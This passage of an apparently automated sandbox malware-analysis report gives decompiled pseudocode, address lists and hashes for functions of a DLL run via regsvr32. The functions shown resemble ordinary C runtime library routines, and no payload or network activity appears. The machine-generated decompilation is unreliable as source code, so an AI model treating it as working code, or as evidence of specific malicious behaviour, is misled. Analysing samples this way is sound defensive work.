				goto 0x8001f9d2;
				 *_t139 =  *_t139 & 0x00000000;
				_t139[1] = _t139[1] & 0x00000000;
				if (0x8000 == 0) goto 0x8001f9c8;
				_t139[1] = 2;
				goto 0x8001f9d2;
				 *_t139 = 0x800c36a0;
				 *0x800d994c =  *0x800d994c - 1;
				return _t85;
			}
































                                                                                                        0x18001f714
                                                                                                        0x18001f714
                                                                                                        0x18001f714
                                                                                                        0x18001f714
                                                                                                        0x18001f714
                                                                                                        0x18001f714
                                                                                                        0x18001f714
                                                                                                        0x18001f719
                                                                                                        0x18001f71e
                                                                                                        0x18001f732
                                                                                                        0x18001f735
                                                                                                        0x18001f73b
                                                                                                        0x18001f741
                                                                                                        0x18001f745
                                                                                                        0x18001f747
                                                                                                        0x18001f74b
                                                                                                        0x18001f757
                                                                                                        0x18001f75c
                                                                                                        0x18001f768
                                                                                                        0x18001f76e
                                                                                                        0x18001f771
                                                                                                        0x18001f776
                                                                                                        0x18001f77d
                                                                                                        0x18001f783
                                                                                                        0x18001f789
                                                                                                        0x18001f78c
                                                                                                        0x18001f795
                                                                                                        0x18001f79c
                                                                                                        0x18001f7a2
                                                                                                        0x18001f7a7
                                                                                                        0x18001f7ae
                                                                                                        0x18001f7b0
                                                                                                        0x18001f7b3
                                                                                                        0x18001f7bd
                                                                                                        0x18001f7bf
                                                                                                        0x18001f7c8
                                                                                                        0x18001f7cc
                                                                                                        0x18001f7d1
                                                                                                        0x18001f7d3
                                                                                                        0x18001f7da
                                                                                                        0x18001f7df
                                                                                                        0x18001f7e4
                                                                                                        0x18001f7e6
                                                                                                        0x18001f7ef
                                                                                                        0x18001f7f4
                                                                                                        0x18001f7f7
                                                                                                        0x18001f7fb
                                                                                                        0x18001f7fe
                                                                                                        0x18001f800
                                                                                                        0x18001f804
                                                                                                        0x18001f806
                                                                                                        0x18001f80c
                                                                                                        0x18001f80e
                                                                                                        0x18001f811
                                                                                                        0x18001f814
                                                                                                        0x18001f818
                                                                                                        0x18001f820
                                                                                                        0x18001f822
                                                                                                        0x18001f825
                                                                                                        0x18001f828
                                                                                                        0x18001f82d
                                                                                                        0x18001f837
                                                                                                        0x18001f841
                                                                                                        0x18001f84b
                                                                                                        0x18001f858
                                                                                                        0x18001f85a
                                                                                                        0x18001f86d
                                                                                                        0x18001f875
                                                                                                        0x18001f87c
                                                                                                        0x18001f87f
                                                                                                        0x18001f889
                                                                                                        0x18001f893
                                                                                                        0x18001f89b
                                                                                                        0x18001f8a2
                                                                                                        0x18001f8ac
                                                                                                        0x18001f8b0
                                                                                                        0x18001f8b7
                                                                                                        0x18001f8bb
                                                                                                        0x18001f8cc
                                                                                                        0x18001f8d5
                                                                                                        0x18001f8d7
                                                                                                        0x18001f8de
                                                                                                        0x18001f8e2
                                                                                                        0x18001f8e9
                                                                                                        0x18001f8ed
                                                                                                        0x18001f8fe
                                                                                                        0x18001f90e
                                                                                                        0x18001f913
                                                                                                        0x18001f916
                                                                                                        0x18001f919
                                                                                                        0x18001f91c
                                                                                                        0x18001f923
                                                                                                        0x18001f928
                                                                                                        0x18001f92a
                                                                                                        0x18001f92e
                                                                                                        0x18001f939
                                                                                                        0x18001f93b
                                                                                                        0x18001f93d
                                                                                                        0x18001f943
                                                                                                        0x18001f950
                                                                                                        0x18001f956
                                                                                                        0x18001f960
                                                                                                        0x18001f965
                                                                                                        0x18001f967
                                                                                                        0x18001f96b
                                                                                                        0x18001f96f
                                                                                                        0x18001f973
                                                                                                        0x18001f975
                                                                                                        0x18001f982
                                                                                                        0x18001f987
                                                                                                        0x18001f98b
                                                                                                        0x18001f98d
                                                                                                        0x18001f992
                                                                                                        0x18001f99e
                                                                                                        0x18001f9a3
                                                                                                        0x18001f9af
                                                                                                        0x18001f9b4
                                                                                                        0x18001f9b6
                                                                                                        0x18001f9ba
                                                                                                        0x18001f9c0
                                                                                                        0x18001f9c2
                                                                                                        0x18001f9c6
                                                                                                        0x18001f9cf
                                                                                                        0x18001f9d2
                                                                                                        0x18001f9f7

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name::operator+
                                                                                                        • String ID:
                                                                                                        • API String ID: 2943138195-0
                                                                                                        • Opcode ID: fd58608824dfa2aa6dca70f4628b08ac0babb58b0743b56721acca5fb7ca9324
                                                                                                        • Instruction ID: 4f47aa7ad4741188fc711fb9527817b3776d91fcf78ec09e4b7bb9bd622e16bd
                                                                                                        • Opcode Fuzzy Hash: fd58608824dfa2aa6dca70f4628b08ac0babb58b0743b56721acca5fb7ca9324
                                                                                                        • Instruction Fuzzy Hash: A9916C72A15B5899FBA39FA4D8403EC37B1B30C798F64C11AEE4927799DF748A49C340
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180074330 Relevance: 6.2, APIs: 4, Instructions: 185COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 87%
                                                                                                        			E00000001180074330(signed int __edx, void* __eflags, intOrPtr* __rax, long long __rbx, signed char* __rcx, long long __rbp, long long _a8, char _a16, long long _a24) {
				signed int _t48;
				signed int _t60;
				signed int _t62;
				signed int _t72;
				void* _t95;
				signed int _t105;

				_a8 = __rbx;
				_a24 = __rbp;
				 *__rcx = 0;
				r14d = r9d;
				_t72 = __edx;
				if (__eflags == 0) goto 0x800743a3;
				if (__eflags == 0) goto 0x80074381;
				if ((__edx & 0x00000003) - 1 == 1) goto 0x8007437a;
				E0000000118005B354((__edx & 0x00000003) - 1 - 1, __rax);
				 *__rax = 0x16;
				E0000000118002594C();
				goto 0x800743a8;
				goto 0x800743a8;
				asm("sbb eax, eax");
				goto 0x800743a8;
				__rcx[4] = 0x80000000;
				_t48 = _t72 & 0x00000700;
				if ((dil & 0x00000008) == 0) goto 0x80074414;
				if (_t48 == 0x100) goto 0x8007440d;
				if (_t48 == 0x200) goto 0x80074406;
				if (_t48 == 0x300) goto 0x800743ff;
				if (_t48 == 0x400) goto 0x80074414;
				if (_t48 == 0x500) goto 0x800743f8;
				if (_t48 == 0x600) goto 0x80074406;
				_t95 = _t48 - 0x700;
				if (_t95 == 0) goto 0x800743f8;
				E0000000118005B354(_t95, __rax);
				 *__rax = 0x16;
				E0000000118002594C();
				goto 0x80074419;
				goto 0x80074419;
				goto 0x80074419;
				goto 0x80074419;
				goto 0x80074419;
				__rcx[8] = 3;
				if (_t95 == 0) goto 0x8007446b;
				if (_t95 == 0) goto 0x80074464;
				if (_t95 == 0) goto 0x8007445d;
				if (_t95 == 0) goto 0x80074456;
				if (r8d - 0xffffffffffffffe0 == 0x40) goto 0x80074447;
				E0000000118005B354(r8d - 0xffffffffffffffe0 - 0x40, __rax);
				 *__rax = 0x16;
				E0000000118002594C();
				goto 0x8007446d;
				sil = __rcx[4] == 0x80000000;
				goto 0x8007446d;
				goto 0x8007446d;
				goto 0x8007446d;
				goto 0x8007446d;
				__rcx[0x14] = __rcx[0x14] & 0x00000000;
				__rcx[0xc] = 0;
				__rcx[0x10] = 0x80;
				if (dil >= 0) goto 0x80074483;
				 *__rcx =  *__rcx | 0x00000010;
				if ((0x00008000 & _t72) != 0) goto 0x800744ab;
				if ((_t72 & 0x00074000) != 0) goto 0x800744a8;
				if (E00000001180077FE8(__rax,  &_a16) != 0) goto 0x80074520;
				if (_a16 == 0x8000) goto 0x800744ab;
				 *__rcx =  *__rcx | 0x00000080;
				if ((0x00000100 & _t72) == 0) goto 0x800744ca;
				_t60 =  *0x800dadb8; // 0x0
				_t62 =  !_t60 & r14d;
				if (_t62 < 0) goto 0x800744ca;
				__rcx[0x10] = 1;
				_t105 = dil & 0x00000040;
				if (_t105 == 0) goto 0x800744de;
				asm("bts dword [ebx+0x14], 0x1a");
				asm("bts dword [ebx+0x4], 0x10");
				__rcx[0xc] = __rcx[0xc] | 0x00000004;
				asm("bt edi, 0xc");
				if (_t105 >= 0) goto 0x800744e7;
				__rcx[0x10] = __rcx[0x10] | 0x00000100;
				asm("bt edi, 0xd");
				if (_t105 >= 0) goto 0x800744f2;
				asm("bts dword [ebx+0x14], 0x19");
				if ((dil & 0x00000020) == 0) goto 0x800744ff;
				asm("bts dword [ebx+0x14], 0x1b");
				goto 0x8007450a;
				if ((dil & 0x00000010) == 0) goto 0x8007450a;
				asm("bts dword [ebx+0x14], 0x1c");
				return _t62;
			}









                                                                                                        0x180074330
                                                                                                        0x180074335
                                                                                                        0x180074345
                                                                                                        0x18007434a
                                                                                                        0x180074350
                                                                                                        0x18007435a
                                                                                                        0x18007435f
                                                                                                        0x180074364
                                                                                                        0x180074366
                                                                                                        0x18007436b
                                                                                                        0x180074371
                                                                                                        0x180074378
                                                                                                        0x18007437f
                                                                                                        0x180074395
                                                                                                        0x1800743a1
                                                                                                        0x1800743a8
                                                                                                        0x1800743b2
                                                                                                        0x1800743b4
                                                                                                        0x1800743bb
                                                                                                        0x1800743c2
                                                                                                        0x1800743c9
                                                                                                        0x1800743d0
                                                                                                        0x1800743d7
                                                                                                        0x1800743de
                                                                                                        0x1800743e0
                                                                                                        0x1800743e2
                                                                                                        0x1800743e4
                                                                                                        0x1800743e9
                                                                                                        0x1800743ef
                                                                                                        0x1800743f6
                                                                                                        0x1800743fd
                                                                                                        0x180074404
                                                                                                        0x18007440b
                                                                                                        0x180074412
                                                                                                        0x180074419
                                                                                                        0x18007441f
                                                                                                        0x180074424
                                                                                                        0x180074429
                                                                                                        0x18007442e
                                                                                                        0x180074433
                                                                                                        0x180074435
                                                                                                        0x18007443a
                                                                                                        0x180074440
                                                                                                        0x180074445
                                                                                                        0x180074450
                                                                                                        0x180074454
                                                                                                        0x18007445b
                                                                                                        0x180074462
                                                                                                        0x180074469
                                                                                                        0x18007446d
                                                                                                        0x180074471
                                                                                                        0x180074474
                                                                                                        0x18007447e
                                                                                                        0x180074480
                                                                                                        0x18007448a
                                                                                                        0x180074492
                                                                                                        0x1800744a0
                                                                                                        0x1800744a6
                                                                                                        0x1800744a8
                                                                                                        0x1800744b2
                                                                                                        0x1800744b4
                                                                                                        0x1800744bc
                                                                                                        0x1800744c1
                                                                                                        0x1800744c3
                                                                                                        0x1800744ca
                                                                                                        0x1800744ce
                                                                                                        0x1800744d0
                                                                                                        0x1800744d5
                                                                                                        0x1800744da
                                                                                                        0x1800744de
                                                                                                        0x1800744e2
                                                                                                        0x1800744e4
                                                                                                        0x1800744e7
                                                                                                        0x1800744eb
                                                                                                        0x1800744ed
                                                                                                        0x1800744f6
                                                                                                        0x1800744f8
                                                                                                        0x1800744fd
                                                                                                        0x180074503
                                                                                                        0x180074505
                                                                                                        0x18007451f

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID:
                                                                                                        • API String ID: 3215553584-0
                                                                                                        • Opcode ID: 38bb835a661eca5a99aca2ec296d68b6c324514b978a221a70b2288f2d23fdc6
                                                                                                        • Instruction ID: 38ed1ac2792419792e7a07cc689a5ee985f405619df3fc35b4a9a0e13af603b5
                                                                                                        • Opcode Fuzzy Hash: 38bb835a661eca5a99aca2ec296d68b6c324514b978a221a70b2288f2d23fdc6
                                                                                                        • Instruction Fuzzy Hash: 0561BE3360064882F7EB5AA894053FD6680E3497A4F19C525BA559E2D6CF3ECB8CE712
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180028590 Relevance: 6.1, APIs: 4, Instructions: 96COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00000001180028590(long long __rbx, signed short* __rcx, signed short** __rdx, long long __rsi, long long __rbp, void* __r8, long long __r14, void* _a8, void* _a16, void* _a24, void* _a32) {
				signed int _t19;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t40;
				signed short* _t41;
				signed short* _t44;
				signed short* _t46;
				signed short* _t49;
				void* _t63;
				signed short* _t69;

				_t40 = _t63;
				 *((long long*)(_t40 + 8)) = __rbx;
				 *((long long*)(_t40 + 0x10)) = __rbp;
				 *((long long*)(_t40 + 0x18)) = __rsi;
				 *((long long*)(_t40 + 0x20)) = __r14;
				_t19 =  *__rcx & 0x0000ffff;
				if (_t19 == __rdx[0x3001886f]) goto 0x800285da;
				if (_t19 != __rdx[0x30018870]) goto 0x800286a4;
				_t41 =  *__rdx;
				_t25 =  *_t41 & 0x0000ffff;
				 *__rdx =  &(_t41[1]);
				 *__rcx = _t25;
				if ( &(__rdx[0]) != 6) goto 0x800285bd;
				_t44 =  &(( *__rdx)[0xffffffffffffffff]);
				 *__rdx = _t44;
				if (_t25 == 0) goto 0x80028618;
				if ( *_t44 == _t25) goto 0x80028618;
				E0000000118005B354( *_t44 - _t25, _t44);
				 *_t44 = 0x16;
				E0000000118002594C();
				_t69 =  *__rdx;
				_t26 =  *_t69 & 0x0000ffff;
				 *__rdx =  &(_t69[1]);
				 *__rcx = _t26;
				if (_t26 ==  *((intOrPtr*)(__rbp + L"INITY"))) goto 0x80028646;
				if (_t26 !=  *((intOrPtr*)(__rbp + L"inity"))) goto 0x800286cc;
				_t46 =  *__rdx;
				_t27 =  *_t46 & 0x0000ffff;
				 *__rdx =  &(_t46[1]);
				 *__rcx = _t27;
				if (__rbp + 2 != 0xa) goto 0x8002862c;
				_t49 =  &(( *__rdx)[0xffffffffffffffff]);
				 *__rdx = _t49;
				if (_t27 == 0) goto 0x80028684;
				if ( *_t49 == _t27) goto 0x80028684;
				E0000000118005B354( *_t49 - _t27, _t49);
				 *_t49 = 0x16;
				E0000000118002594C();
				return 3;
			}














                                                                                                        0x180028590
                                                                                                        0x180028593
                                                                                                        0x180028597
                                                                                                        0x18002859b
                                                                                                        0x18002859f
                                                                                                        0x1800285bd
                                                                                                        0x1800285c9
                                                                                                        0x1800285d4
                                                                                                        0x1800285da
                                                                                                        0x1800285e1
                                                                                                        0x1800285e8
                                                                                                        0x1800285eb
                                                                                                        0x1800285f2
                                                                                                        0x1800285f7
                                                                                                        0x1800285fb
                                                                                                        0x180028601
                                                                                                        0x180028606
                                                                                                        0x180028608
                                                                                                        0x18002860d
                                                                                                        0x180028613
                                                                                                        0x180028618
                                                                                                        0x18002861e
                                                                                                        0x180028626
                                                                                                        0x180028629
                                                                                                        0x180028635
                                                                                                        0x180028640
                                                                                                        0x180028646
                                                                                                        0x18002864d
                                                                                                        0x180028654
                                                                                                        0x180028657
                                                                                                        0x18002865e
                                                                                                        0x180028663
                                                                                                        0x180028667
                                                                                                        0x18002866d
                                                                                                        0x180028672
                                                                                                        0x180028674
                                                                                                        0x180028679
                                                                                                        0x18002867f
                                                                                                        0x1800286a3

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID:
                                                                                                        • API String ID: 3215553584-0
                                                                                                        • Opcode ID: d3367ddb3c2dc95892ed3e7036d9dae66f2133b6744b23acec498c70a4d32f7c
                                                                                                        • Instruction ID: 4b28c071d3803aaabbdffb9ca80c4d8380c9df8149ae727e63084cdaeb585080
                                                                                                        • Opcode Fuzzy Hash: d3367ddb3c2dc95892ed3e7036d9dae66f2133b6744b23acec498c70a4d32f7c
                                                                                                        • Instruction Fuzzy Hash: D1418D76501B4981EBA3AF25D4143AD33A0FB48FB0F45C201FAA8077D8EF388A95D311
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002844C Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 100%
                                                                                                        			E0000000118002844C(long long __rbx, char* __rcx, long long* __rdx, long long __rsi, void* __r8, long long __r14) {
				intOrPtr _t20;
				char _t26;
				char _t27;
				char _t28;
				void* _t42;
				intOrPtr* _t43;
				intOrPtr* _t46;
				intOrPtr* _t48;
				intOrPtr* _t51;
				void* _t57;
				long long _t61;
				void* _t64;
				intOrPtr* _t73;

				_t56 = __rdx;
				_t42 = _t64;
				 *((long long*)(_t42 + 8)) = __rbx;
				 *((long long*)(_t42 + 0x10)) = _t61;
				 *((long long*)(_t42 + 0x18)) = __rsi;
				 *((long long*)(_t42 + 0x20)) = __r14;
				_t6 = _t56 + 3; // 0x3
				_t20 =  *((intOrPtr*)(__rcx));
				if (_t20 ==  *((intOrPtr*)(__rdx + 0x1800c4358))) goto 0x80028493;
				if (_t20 !=  *((intOrPtr*)(__rdx + 0x1800c435c))) goto 0x80028543;
				_t43 =  *((intOrPtr*)(__rdx));
				_t57 = __rdx + 1;
				_t26 =  *_t43;
				 *__rdx = _t43 + 1;
				 *__rcx = _t26;
				if (_t57 != __rsi) goto 0x8002847a;
				_t46 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t46;
				if (_t26 == 0) goto 0x800284ca;
				if ( *_t46 == _t26) goto 0x800284ca;
				E0000000118005B354( *_t46 - _t26, _t46);
				 *_t46 = 0x16;
				E0000000118002594C();
				_t73 =  *((intOrPtr*)(__rdx));
				_t27 =  *_t73;
				 *__rdx = _t73 + 1;
				 *__rcx = _t27;
				if (_t27 ==  *((intOrPtr*)(_t57 + 0x1800c4360))) goto 0x800284ee;
				if (_t27 !=  *((intOrPtr*)(_t57 + 0x1800c4368))) goto 0x80028568;
				_t48 =  *((intOrPtr*)(__rdx));
				_t28 =  *_t48;
				 *__rdx = _t48 + 1;
				 *__rcx = _t28;
				if (_t57 + 1 != 5) goto 0x800284dc;
				_t51 =  *((intOrPtr*)(__rdx)) - 1;
				 *__rdx = _t51;
				if (_t28 == 0) goto 0x80028526;
				if ( *_t51 == _t28) goto 0x80028526;
				E0000000118005B354( *_t51 - _t28, _t51);
				 *_t51 = 0x16;
				E0000000118002594C();
				return _t6;
			}
















                                                                                                        0x18002844c
                                                                                                        0x18002844c
                                                                                                        0x18002844f
                                                                                                        0x180028453
                                                                                                        0x180028457
                                                                                                        0x18002845b
                                                                                                        0x180028477
                                                                                                        0x18002847a
                                                                                                        0x180028484
                                                                                                        0x18002848d
                                                                                                        0x180028493
                                                                                                        0x180028496
                                                                                                        0x180028499
                                                                                                        0x18002849e
                                                                                                        0x1800284a1
                                                                                                        0x1800284a7
                                                                                                        0x1800284ac
                                                                                                        0x1800284af
                                                                                                        0x1800284b4
                                                                                                        0x1800284b8
                                                                                                        0x1800284ba
                                                                                                        0x1800284bf
                                                                                                        0x1800284c5
                                                                                                        0x1800284ca
                                                                                                        0x1800284cf
                                                                                                        0x1800284d6
                                                                                                        0x1800284d9
                                                                                                        0x1800284e3
                                                                                                        0x1800284ec
                                                                                                        0x1800284ee
                                                                                                        0x1800284f4
                                                                                                        0x1800284f9
                                                                                                        0x1800284fc
                                                                                                        0x180028503
                                                                                                        0x180028508
                                                                                                        0x18002850b
                                                                                                        0x180028510
                                                                                                        0x180028514
                                                                                                        0x180028516
                                                                                                        0x18002851b
                                                                                                        0x180028521
                                                                                                        0x180028542

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID:
                                                                                                        • API String ID: 3215553584-0
                                                                                                        • Opcode ID: 0aea407e0cc4af24d65ca4ac8f23b88505b623834a0eb1d4dd6045ddaccfed71
                                                                                                        • Instruction ID: 6143648f949578dd917b1cb13ba9169979efc1444d939179d3487ed8ac4b57a5
                                                                                                        • Opcode Fuzzy Hash: 0aea407e0cc4af24d65ca4ac8f23b88505b623834a0eb1d4dd6045ddaccfed71
                                                                                                        • Instruction Fuzzy Hash: B9415276506A98CAEBA3DF20C4103EC3BE0BB49FC4F4DC042EA8847386DE398659D315
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002237C Relevance: 6.1, APIs: 4, Instructions: 85COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 91%
                                                                                                        			E0000000118002237C(signed int __ecx, void* __edi, intOrPtr* __rax, long long __rbx, signed long long* __rcx, void* __rdx, void* __rdi, void* __rsi, void* __r8, void* __r10, void* __r11, void* __r12, long long __r14, long long _a8, long long _a16) {
				char _v24;
				char _v40;
				char _v56;
				signed int _v64;
				char _v72;
				signed int _t36;
				signed int _t43;
				void* _t44;
				signed int _t45;
				intOrPtr* _t55;
				intOrPtr* _t56;
				char* _t57;
				char* _t58;
				signed long long* _t62;
				signed long long _t70;
				long long _t94;

				_t80 = __rsi;
				_t79 = __rdi;
				_t55 = __rax;
				_t45 = __ecx;
				_a8 = __rbx;
				_a16 = __r14;
				 *__rcx =  *__rcx & 0x00000000;
				_t62 = __rcx;
				__rcx[1] = __rcx[1] & 0x00000000;
				r8d = 0;
				E00000001180023FA8(_t44, __ecx, 1, __edi, __rcx,  &_v56, __rdi, __rsi, __r8, __r10, __r11);
				_t94 = "::";
				 *__rcx =  *_t55;
				_t36 =  *(_t55 + 8);
				__rcx[1] = _t36;
				_t56 =  *0x800d9928; // 0x0
				if (_t36 != 0) goto 0x8002241e;
				if ( *_t56 == 0) goto 0x8002241e;
				if ( *_t56 == 0x40) goto 0x80022423;
				_v72 = _t94;
				_v64 = 2;
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x40], xmm0");
				E00000001180021EC8(__edi, __rcx,  &_v56, _t79, _t80, __r10, __r11, __r12);
				E0000000118001C82C(_t56,  &_v40,  &_v72);
				E0000000118001C858(_t56,  &_v24, _t62);
				_t70 =  *_t56;
				 *_t62 = _t70;
				_t62[1] =  *(_t56 + 8);
				_t57 =  *0x800d9928; // 0x0
				if ( *_t57 != 0x40) goto 0x8002242f;
				_t58 = _t57 + 1;
				 *0x800d9928 = _t58;
				goto 0x800224a2;
				if ( *_t58 == 0) goto 0x80022442;
				_t62[1] = _t62[1] & 0x00000000;
				 *_t62 =  *_t62 & 0x00000000;
				_t62[1] = 2;
				goto 0x800224a2;
				if (_t70 != 0) goto 0x8002245a;
				_t62[1] = _t62[1] & _t45;
				_t62[1] = 1;
				 *_t62 = 0x800c36a0;
				goto 0x800224a2;
				_v72 = _t94;
				_v64 = 2;
				asm("movaps xmm0, [ebp-0x40]");
				_v64 = _v64 & 0x00000000;
				asm("movdqa [ebp-0x30], xmm0");
				_v72 = 0x800c36a0;
				E0000000118001C82C( &_v72,  &_v24,  &_v56);
				E0000000118001C858(0x800c36a0,  &_v40, _t62);
				 *_t62 =  *0x800c36a0;
				_t43 =  *0x1800C36A8;
				_t62[1] = _t43;
				return _t43;
			}



















                                                                                                        0x18002237c
                                                                                                        0x18002237c
                                                                                                        0x18002237c
                                                                                                        0x18002237c
                                                                                                        0x18002237c
                                                                                                        0x180022381
                                                                                                        0x18002238e
                                                                                                        0x180022392
                                                                                                        0x180022395
                                                                                                        0x180022399
                                                                                                        0x1800223a2
                                                                                                        0x1800223a7
                                                                                                        0x1800223b1
                                                                                                        0x1800223b4
                                                                                                        0x1800223b9
                                                                                                        0x1800223bc
                                                                                                        0x1800223c3
                                                                                                        0x1800223c8
                                                                                                        0x1800223cd
                                                                                                        0x1800223cf
                                                                                                        0x1800223d7
                                                                                                        0x1800223de
                                                                                                        0x1800223e2
                                                                                                        0x1800223e7
                                                                                                        0x1800223f7
                                                                                                        0x180022406
                                                                                                        0x18002240b
                                                                                                        0x18002240e
                                                                                                        0x180022414
                                                                                                        0x180022417
                                                                                                        0x180022421
                                                                                                        0x180022423
                                                                                                        0x180022426
                                                                                                        0x18002242d
                                                                                                        0x180022432
                                                                                                        0x180022434
                                                                                                        0x180022438
                                                                                                        0x18002243c
                                                                                                        0x180022440
                                                                                                        0x18002244c
                                                                                                        0x18002244e
                                                                                                        0x180022451
                                                                                                        0x180022455
                                                                                                        0x180022458
                                                                                                        0x18002245a
                                                                                                        0x180022462
                                                                                                        0x18002246d
                                                                                                        0x180022475
                                                                                                        0x180022479
                                                                                                        0x18002247e
                                                                                                        0x180022482
                                                                                                        0x180022491
                                                                                                        0x180022499
                                                                                                        0x18002249c
                                                                                                        0x18002249f
                                                                                                        0x1800224b4

                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name::operator+$Replicator::operator[]
                                                                                                        • String ID:
                                                                                                        • API String ID: 3863519203-0
                                                                                                        • Opcode ID: 6112b574a5fed48824805ec723fad3c797613f066b2ebf0984d637972b813ad0
                                                                                                        • Instruction ID: 98657c283912724f7d813b1fe6f91a6127bac5423e96e70c0c77bc449a73656e
                                                                                                        • Opcode Fuzzy Hash: 6112b574a5fed48824805ec723fad3c797613f066b2ebf0984d637972b813ad0
                                                                                                        • Instruction Fuzzy Hash: 68413872A00B5899F742DFA4E8803EC77B0F358B88F54C119EA4957759DF78C689C350
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018001A1D8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 74%
                                                                                                        			E0000000118001A1D8(void* __edx, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r8, void* __r9) {
				void* __rdi;
				void* __r14;
				void* _t73;
				intOrPtr _t78;
				unsigned int _t104;
				void* _t131;
				intOrPtr _t135;
				intOrPtr* _t140;
				signed char* _t144;
				void* _t145;
				void* _t169;
				signed char* _t170;
				long long _t174;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t193;
				void* _t194;
				void* _t196;

				_t187 = __r9;
				_t131 = __rax;
				 *((long long*)(_t177 + 8)) = __rbx;
				 *((long long*)(_t177 + 0x10)) = _t174;
				 *((long long*)(_t177 + 0x18)) = __rsi;
				_t178 = _t177 - 0x80;
				_t140 = __rcx;
				_t175 = __r9;
				_t194 = __rdx;
				E0000000118001BB6C(_t73, __r8);
				E00000001180018370(_t131);
				_t170 =  *((intOrPtr*)(_t178 + 0xc0));
				r8d = 0x80000029;
				r9d = 0x80000026;
				if ( *((intOrPtr*)(_t131 + 0x40)) != 0) goto 0x8001a252;
				if ( *__rcx == 0xe06d7363) goto 0x8001a252;
